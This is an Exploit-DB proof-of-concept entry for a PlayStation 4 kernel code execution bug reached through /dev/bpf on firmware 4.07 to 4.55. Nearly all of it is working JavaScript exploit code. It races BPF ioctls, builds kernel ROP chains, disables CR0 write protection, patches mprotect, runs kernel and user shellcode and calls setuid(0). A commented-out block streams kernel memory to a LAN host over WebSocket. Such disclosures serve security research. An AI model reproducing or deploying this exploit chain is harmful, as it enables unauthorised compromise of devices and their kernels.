Sony Playstation 4 (PS4) 4.07 < 4.55 - 'bpf' Local Kernel Code Execution (PoC)

EDB-ID:

44177

CVE:

N/A


Platform:

Hardware

Published:

2018-02-26

function stage4_()
{
    function malloc(sz)
    {
        var backing = new Uint8Array(1000+sz);
        window.nogc.push(backing);
        var ptr = p.read8(p.leakval(backing).add32(0x10));
        ptr.backing = backing;
        return ptr;
    }
    function malloc32(sz)
    {
        var backing = new Uint8Array(0x1000+sz*4);
        window.nogc.push(backing);
        var ptr = p.read8(p.leakval(backing).add32(0x10));
        ptr.backing = new Uint32Array(backing.buffer);
        return ptr;
    }
    var strcpy_helper = new Uint8Array(0x1000);
    var where_writeptr_strcpy = p.leakval(strcpy_helper).add32(0x10);
    function strcpy(ptr, str)
    {
        p.write8(where_writeptr_strcpy, ptr);
        for (var i = 0; i < str.length; i++)
            strcpy_helper[i] = str.charCodeAt(i) & 0xFF;
        strcpy_helper[str.length] = 0;
    }
    
    
    var sysctlbyname = window.libKernelBase.add32(0xF290);
    var sysreq = malloc32(0x10);
    sysreq.backing[0] = 7;
    sysreq.backing[1] = 0;
    sysreq.backing[4] = 0x10;
    
    var retv = malloc(0x100);
    var __errno_ptr = p.fcall(window.libKernelBase.add32(0x2BE0));
    
    
    var rv = p.fcall(sysctlbyname, p.sptr("machdep.openpsid"), retv, sysreq.add32(0x10), 0, 0);
    
    var str = "";
    for (var i=0; i<0x10; i++)
    {
        str += zeroFill(retv.backing[i].toString(16),2) + " ";
    }
    
   // log("psid: " + str)
    
    var fd = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;
    var fd1 = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;
    if (fd == (-1 >>> 0))
    {
        print("kexp failed: no bpf0");
    }
//    print("fd: " + fd);
    
    var scratch = malloc(0x100);
    var ifname = malloc(0x10);
    strcpy(ifname, "wlan0");
    p.syscall("ioctl", fd, 0x8020426c, ifname);
    var ret = p.syscall("write", fd, scratch, 40);
    if (ret.low == (-1 >>> 0))
    {
        strcpy(ifname, "eth0");
        p.syscall("ioctl", fd, 0x8020426c, ifname);
        var ret = p.syscall("write", fd, scratch, 40);
        if (ret.low == (-1 >>> 0))
        {
            throw "kexp failed :(";
        }
    }
    
    var assertcnt = 0;
    var assert = function(x)
    {
        assertcnt++;
        if (!x) throw "assertion " + assertcnt + " failed";
    }

    print("got it");
    
    var bpf_valid = malloc32(0x4000);
    var bpf_valid_u32 = bpf_valid.backing;
    var bpf_valid_prog = malloc(0x40);
    p.write8(bpf_valid_prog, 64)
    p.write8(bpf_valid_prog.add32(8), bpf_valid)
    
    for (var i = 0 ; i < 0x4000; )
    {
        bpf_valid_u32[i++] = 6; // BPF_RET
        bpf_valid_u32[i++] = 0;
    }
    
    var bpf_invalid = malloc32(0x4000);
    var bpf_invalid_u32 = bpf_invalid.backing;
    var bpf_invalid_prog = malloc(0x40);
    p.write8(bpf_invalid_prog, 64)
    p.write8(bpf_invalid_prog.add32(8), bpf_invalid)
    
    for (var i = 0 ; i < 0x4000; )
    {
        bpf_invalid_u32[i++] = 4; // NOP
        bpf_invalid_u32[i++] = 0;
    }
    
    var push_bpf = function(bpfbuf, cmd, k)
    {
        var i = bpfbuf.i;
        if (!i) i=0;
        bpfbuf[i*2] = cmd;
        bpfbuf[i*2+1] = k;
        bpfbuf.i = i+1;
    }
    
    push_bpf(bpf_invalid_u32, 5, 2); // jump
    push_bpf(bpf_invalid_u32, 0x12, 0); // invalid opcode
    bpf_invalid_u32.i = 16;

    var bpf_write8imm = function(bpf, offset, imm)
    {
        if (!(imm instanceof int64))
        {
            imm = new int64(imm,0);
        }
        push_bpf(bpf, 0, imm.low); // BPF_LD|BPF_IMM
        push_bpf(bpf, 2, offset); // BPF_ST
        push_bpf(bpf, 0, imm.hi); // BPF_LD|BPF_IMM
        push_bpf(bpf, 2, offset+1); // BPF_ST -> RDI: pop rsp
    }
    
    var bpf_copy8 = function(bpf, offset_to, offset_from)
    {
        push_bpf(bpf, 0x60, offset_from); // BPF_LD|BPF_MEM
        push_bpf(bpf, 2, offset_to); // BPF_ST
        push_bpf(bpf, 0x60, offset_from+1); // BPF_LD|BPF_MEM
        push_bpf(bpf, 2, offset_to+1); // BPF_ST
    }
    var bpf_add4 = function(bpf, offset, val)
    {
        push_bpf(bpf, 0x60, offset); // BPF_LD
        push_bpf(bpf, 0x4, val); // BPF_ALU|BPF_ADD|BPF_K
        push_bpf(bpf, 2, offset); // BPF_ST
    }
    
    
    
    var krop_off_init = 0x1e;
    var krop_off = krop_off_init;
    var reset_krop = function() {
        krop_off = krop_off_init;
        bpf_invalid_u32.i = 16;
    }
    var push_krop = function(value)
    {
        bpf_write8imm(bpf_invalid_u32, krop_off, value);
        krop_off += 2;
    }
    var push_krop_fromoff = function(value)
    {
        bpf_copy8(bpf_invalid_u32, krop_off, value);
        krop_off += 2;
    }
    var finalize_krop = function(retv)
    {
        if(!retv) retv = 5;
        push_bpf(bpf_invalid_u32, 6, retv); // return 5
    }

    var rtv = p.syscall("ioctl", fd, 0x8010427B, bpf_valid_prog);
    assert(rtv.low == 0);
    
    rtv = p.syscall("write", fd, scratch, 40);
    assert(rtv.low == (-1 >>> 0));
    
    var kscratch = malloc32(0x80);
    
    var kchain = new window.RopChain();
    
    kchain.clear();
    kchain.push(window.gadgets["ret"]); 
    kchain.push(window.gadgets["ret"]); 
    kchain.push(window.gadgets["ret"]); 
    kchain.push(window.webKitBase.add32(0x3EBD0)); 

    reset_krop();
    //push_krop(window.gadgets["infloop"]); // 8
    bpf_copy8(bpf_invalid_u32, 0, 0x1e);
    push_krop(window.gadgets["pop rsi"]); // 0x10
    push_krop_fromoff(0);
    push_krop(window.gadgets["pop rsp"]);
    push_krop(kchain.ropframeptr); // 8

    finalize_krop(0);
    
    var spawnthread = function(chain) {
        
        /*
         
         
         seg000:00000000007FA7D0                         sub_7FA7D0      proc near               ; DATA XREF: sub_7F8330+5Eo
         seg000:00000000007FA7D0 55                                      push    rbp
         seg000:00000000007FA7D1 48 89 E5                                mov     rbp, rsp
         seg000:00000000007FA7D4 41 56                                   push    r14
         seg000:00000000007FA7D6 53                                      push    rbx
         seg000:00000000007FA7D7 48 89 F3                                mov     rbx, rsi
         seg000:00000000007FA7DA 49 89 FE                                mov     r14, rdi
         seg000:00000000007FA7DD 48 8D 35 E5 B3 EC 00                    lea     rsi, aMissingPlteBef ; "Missing PLTE before tRNS" < search this
         
         
         -> xref of sub_7FA7D0:
         
         
         seg000:00000000007F8380 48 8D 3D 28 D8 EC 00                    lea     rdi, a1_5_18_0  ; "1.5.18"
         seg000:00000000007F8387 48 8D 15 82 23 00 00                    lea     rdx, sub_7FA710
         seg000:00000000007F838E 48 8D 0D 3B 24 00 00                    lea     rcx, sub_7FA7D0
         seg000:00000000007F8395 31 F6                                   xor     esi, esi
         seg000:00000000007F8397 49 C7 47 20 00 00 00 00                 mov     qword ptr [r15+20h], 0
         seg000:00000000007F839F 66 41 C7 47 18 00 00                    mov     word ptr [r15+18h], 0
         seg000:00000000007F83A6 49 C7 47 10 00 00 00 00                 mov     qword ptr [r15+10h], 0
         seg000:00000000007F83AE E8 8D 3C D3 00                          call    sub_152C040
         
         -> code:
         
         m_png = png_create_read_struct(PNG_LIBPNG_VER_STRING, 0, decodingFailed, decodingWarning);
         
         
         decodingWarning -> sub_7FA7D0 (where Missing PLTE before tRNS is referenced)
         
         decodingFailed -> contains longjmp (which we want)
         
         seg000:00000000007FA710                         sub_7FA710      proc near               ; DATA XREF: sub_7F8330+57o
         seg000:00000000007FA710                                                                 ; sub_7F9DC0+2Eo
         seg000:00000000007FA710 55                                      push    rbp
         seg000:00000000007FA711 48 89 E5                                mov     rbp, rsp
         seg000:00000000007FA714 48 8B 35 5D B6 E5 02                    mov     rsi, cs:qword_3655D78
         seg000:00000000007FA71B BA 60 00 00 00                          mov     edx, 60h ; '`'
         seg000:00000000007FA720 E8 AB E6 D2 00                          call    sub_1528DD0
         seg000:00000000007FA725 BE 01 00 00 00                          mov     esi, 1
         seg000:00000000007FA72A 48 89 C7                                mov     rdi, rax
         seg000:00000000007FA72D E8 26 6D 80 FF                          call    sub_1458 < longjmp
         seg000:00000000007FA732 0F 0B                                   ud2
         seg000:00000000007FA732                         sub_7FA710      endp
         
         
         */
        var longjmp = webKitBase.add32(0x1458);
        
        
        // ThreadIdentifier createThread(ThreadFunction entryPoint, void* data, const char* name)
        /*
         seg000:00000000001DD17F 48 8D 15 C9 38 4C 01                    lea     rdx, aWebcoreGccontr ; "WebCore: GCController" < search this
         seg000:00000000001DD186 31 F6                                   xor     esi, esi
         seg000:00000000001DD188 E8 B3 1B F9 00                          call    sub_116ED40 < createThread
         */
        
        var createThread = window.webKitBase.add32(0x116ED40);
        
        var contextp = malloc32(0x2000);
        var contextz = contextp.backing;
        contextz[0] = 1337;
        
        var thread2 = new RopChain();
        thread2.clear();
        thread2.push(window.gadgets["ret"]); // nop
        thread2.push(window.gadgets["ret"]); // nop
        thread2.push(window.gadgets["ret"]); // nop
        thread2.push(window.gadgets["ret"]); // nop
        chain(thread2);
        
        p.write8(contextp, window.gadgets["ret"]); // rip -> ret gadget
        p.write8(contextp.add32(0x10), thread2.ropframeptr); // rsp
        
        p.fcall(createThread, longjmp, contextp, p.sptr("GottaGoFast"));
        
        window.nogc.push(contextz);
        window.nogc.push(thread2);
        
        return thread2;
    }
    
    var interrupt1 = 0;
    var interrupt2 = 0;
    // ioctl() with valid BPF program -> will trigger reallocation of BFP code alloc
    spawnthread(function(thread2){
                interrupt1 = thread2.ropframeptr;
                thread2.push(window.gadgets["pop rdi"]); // pop rdi
                thread2.push(fd); // what
                thread2.push(window.gadgets["pop rsi"]); // pop rsi
                thread2.push(0x8010427B); // what
                thread2.push(window.gadgets["pop rdx"]); // pop rdx
                thread2.push(bpf_valid_prog); // what
                thread2.push(window.gadgets["pop rsp"]); // pop rdx
                thread2.push(thread2.ropframeptr.add32(0x800)); // what
                thread2.count = 0x100;
                var cntr = thread2.count;
                thread2.push(window.syscalls[54]); // ioctl
                thread2.push_write8(thread2.ropframeptr.add32(cntr*8), window.syscalls[54]); // restore ioctl
                
                thread2.push(window.gadgets["pop rsp"]); // pop rdx
                thread2.push(thread2.ropframeptr); // what
                })
    
    // ioctl() with invalid BPF program -> this will be executed when triggering bug
    spawnthread(function(thread2){
                interrupt2 = thread2.ropframeptr;
                thread2.push(window.gadgets["pop rdi"]); // pop rdi
                thread2.push(fd1); // what
                thread2.push(window.gadgets["pop rsi"]); // pop rsi
                thread2.push(0x8010427B); // what
                thread2.push(window.gadgets["pop rdx"]); // pop rdx
                thread2.push(bpf_invalid_prog); // what
                thread2.push(window.gadgets["pop rsp"]); // pop rdx
                thread2.push(thread2.ropframeptr.add32(0x800)); // what
                thread2.count = 0x100;
                var cntr = thread2.count;
                thread2.push(window.syscalls[54]); // ioctl
                thread2.push_write8(thread2.ropframeptr.add32(cntr*8), window.syscalls[54]); // restore ioctl
                
                thread2.push(window.gadgets["pop rsp"]); // pop rdx
                thread2.push(thread2.ropframeptr); // what
                })

    function kernel_rop_run(cb)
    {
        kchain.clear();
        kchain.push(window.gadgets["ret"]); 
        kchain.push(window.gadgets["ret"]); 
        kchain.push(window.gadgets["ret"]); 
        kchain.push(window.gadgets["ret"]); 
        kchain.push(window.gadgets["ret"]); 
        kchain.push(window.gadgets["ret"]); 
        cb(kchain);
        kchain.push(window.gadgets["pop rax"]); 
        kchain.push(0); 
        kchain.push(window.gadgets["ret"]); 
        kchain.push(window.webKitBase.add32(0x3EBD0)); 
        while(1)
        {
            if (p.syscall(4, fd, scratch, 40).low == 40)
            {
                return p.read8(kscratch);
                break;
            }
        }
    }
    function leak_kern_rip() {
        return kernel_rop_run(function(kchain)
                              {
                              kchain.push(window.gadgets["pop rdi"]); 
                              kchain.push(kscratch); 
                              kchain.push(window.gadgets["mov [rdi], rsi"]); 
                              });
    }
    
    function kernel_read8(addr) {
        return kernel_rop_run(function(kchain)
                              {
                              kchain.push(window.gadgets["pop rdi"]); 
                              kchain.push(addr); 
                              kchain.push(window.webKitBase.add32(0x13A220)); // deref
                              kchain.push(window.gadgets["pop rdi"]); 
                              kchain.push(kscratch); 
                              kchain.push(window.gadgets["mov [rdi], rax"]); 
                              });
    }
    function kernel_memcpy(to,from,size) {
        return kernel_rop_run(function(kchain)
                              {
                              kchain.push(window.gadgets["pop rdi"]); 
                              kchain.push(to); 
                              kchain.push(window.gadgets["pop rsi"]); 
                              kchain.push(from); 
                              kchain.push(window.gadgets["pop rdx"]); 
                              kchain.push(size); 
                              kchain.push(window.gadgets["memcpy"]); 
                              kchain.push(window.gadgets["mov [rdi], rax"]); 
                              });
    }
    var kern_base = leak_kern_rip();
    kern_base.low &= 0xffffc000;
    kern_base.low -= 0x164000;
    log("ay! " + kernel_read8(kern_base) + " " + kern_base);
    
    /*
    var chunksz = 0x40000;
    var pagebuf = malloc(chunksz);
    
    connection = new WebSocket('ws://192.168.0.125:8080');
    connection.binaryType = "arraybuffer";
    connection.onmessage = function() {
        try {
            kernel_memcpy(pagebuf, kern_base, chunksz);
            connection.send(new Uint8Array(pagebuf.backing.buffer, 0, chunksz));
            kern_base.add32inplace(chunksz);
        }catch(e) {log(e);}
    }
     
     
     LOAD:FFFFFFFF9144CF70 0F 20 C0                                mov     rax, cr0
     LOAD:FFFFFFFF9144CF73 48 0D 2A 00 05 00                       or      rax, 5002Ah
     LOAD:FFFFFFFF9144CF79 0F 22 C0                                mov     cr0, rax
     LOAD:FFFFFFFF9144CF7C C3                                      retn
     FFFFFFFF91562A58
     */
    var getset_cr0 = kern_base.add32(0x280f70);
    var set_cr0 = kern_base.add32(0x280f79);
    
    function kernel_get_cr0() {
        return kernel_rop_run(function(kchain)
                              {
                              kchain.push(getset_cr0); 
                              kchain.push(window.gadgets["pop rdi"]); 
                              kchain.push(kscratch); 
                              kchain.push(window.gadgets["mov [rdi], rax"]); 
                              });
    }

    var cr0val = kernel_get_cr0();
    cr0val.low &= ((~(1 << 16)) >>> 0);
    log("cr0: " + cr0val);
    function kernel_write8_cr0(addr, val) {
        return kernel_rop_run(function(kchain)
                              {
                              kchain.push(window.gadgets["pop rax"]); 
                              kchain.push(cr0val); 
                              kchain.push(set_cr0);
                              kchain.push(window.gadgets["pop rdi"]); 
                              kchain.push(addr); 
                              kchain.push(window.gadgets["pop rax"]); 
                              kchain.push(val); 
                              kchain.push(window.gadgets["mov [rdi], rax"]);
                              kchain.push(getset_cr0);
                              });
    }
    function kernel_fcall(addr, arg0, arg1) {
        return kernel_rop_run(function(kchain)
                              {
                              if(arg0)
                              {
                                    kchain.push(window.gadgets["pop rdi"]);
                                    kchain.push(arg0);
                              }
                              if(arg1)
                              {
                                    kchain.push(window.gadgets["pop rsi"]);
                                    kchain.push(arg1);
                              }
                              kchain.push(addr);
                              
                              kchain.push(window.gadgets["pop rdi"]);
                              kchain.push(kscratch);
                              kchain.push(window.gadgets["mov [rdi], rax"]);
                              });
    }
    
    var mprotect_patchloc = kern_base.add32(0x396a58);
    var mprotect_patchbytes = kernel_read8(mprotect_patchloc);
    var mprotect_realbytes = mprotect_patchbytes;
    
    log("patchbytes: " + mprotect_patchbytes);
    mprotect_patchbytes.low = 0x90909090;
    mprotect_patchbytes.hi &= 0xffff0000;
    mprotect_patchbytes.hi |= 0x00009090;
    
    
    var shellsize = window.shellcode.byteLength;
    shellsize += 0x4000;
    shellsize &= 0xffffc000;
    
    var shellscratch_to = malloc32((0x10000 + shellsize)/4);
    
    var origin_to = shellscratch_to.low;
    shellscratch_to.low &= 0xffffc000;
    shellscratch_to.low += 0x8000;
    var offset = (shellscratch_to.low - origin_to) / 4;
    
    for (var i=0; i < window.shellcode.length; i++)
    {
        shellscratch_to.backing[i+offset] = window.shellcode[i];
    }
    
    
    kernel_write8_cr0(mprotect_patchloc,mprotect_patchbytes);
    var mapz = p.syscall("mprotect", shellscratch_to, shellsize, 7);
    kernel_write8_cr0(mprotect_patchloc,mprotect_realbytes);
    if (mapz.low != 0) throw "mprot fail!";

    faultme = shellscratch_to.add32(0x0);

    for (var i=0; i < window.shellcode.length; i+= 0x1000)
    {
        var bck = p.read8(faultme);
        p.write8(faultme, 0xc3)
        p.fcall(faultme); // test faulting
        p.write8(faultme, bck)
    }
    p.syscall("mlock", shellscratch_to, shellsize);
    var pyld_buf = p.read8(p.leakval(window.pyld).add32(0x10));

    var zarguments = malloc32(0x1000);
    p.write8(zarguments, kern_base);
    p.write8(zarguments.add32(8), fd_kcall);
    p.write8(zarguments.add32(16), interrupt1);
    p.write8(zarguments.add32(24), interrupt2);
    p.write8(zarguments.add32(32), window.syscalls[431]);
    p.write8(zarguments.add32(40), window.syscalls[591]);
    p.write8(zarguments.add32(48), window.syscalls[594]);
    p.write8(zarguments.add32(56), pyld_buf); // pyld
    p.write8(zarguments.add32(64), window.pyldpoint);
    p.write8(zarguments.add32(72), window.pyld.byteLength);

    var fd_kcall = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;

    log(p.read8(shellscratch_to.add32(window.entrypoint)));
    log("kernel shellcode: " + kernel_fcall(shellscratch_to.add32(window.entrypoint), 1, zarguments));
    p.syscall("setuid", 0);
    log("uid: " + p.syscall("getuid"));
    alert("enter user");
    log("user shellcode: " + p.fcall(shellscratch_to.add32(window.entrypoint), 2, zarguments));

    var lsscrtch32 = new Uint32Array(0x400);
    var lsscrtch = p.read8(p.leakval(lsscrtch32).add32(0x10));
    window.ls = function(path)
    {
        var sep = "/"
        if (path[path.length-1]=="/") sep = "";
        
        var fd = p.syscall("open", p.sptr(path), 0x1100004).low;
        if (fd == (-1 >>> 0))
        {
            print("open("+path+"): -1");
            return;
        }
        
        alert("getdenv");
        
        print("Directory listing for " +path+":");
        var total = p.syscall("getdents", fd, lsscrtch, 0x1000).low;
        if (total == (-1 >>> 0))
        {
            print("getdents("+path+"): -1");
            return;
        }
        
        alert("got denv");
        
        var offset = 0;
        while (offset < total)
        {
            var cur = lsscrtch.add32(offset);
            var reclen = p.read4(cur.add32(4)) & 0xFFFF;
            var filepath = path + sep + p.readstr(cur.add32(8));
            print("<a href=javascript:window.ls('" + filepath + "');>" + filepath + "</a>");
            offset += reclen;
            if(!reclen) break;
        }
        p.syscall("close", fd);
    }
    print("<a href=javascript:window.ls('/');>ls /</a>");

}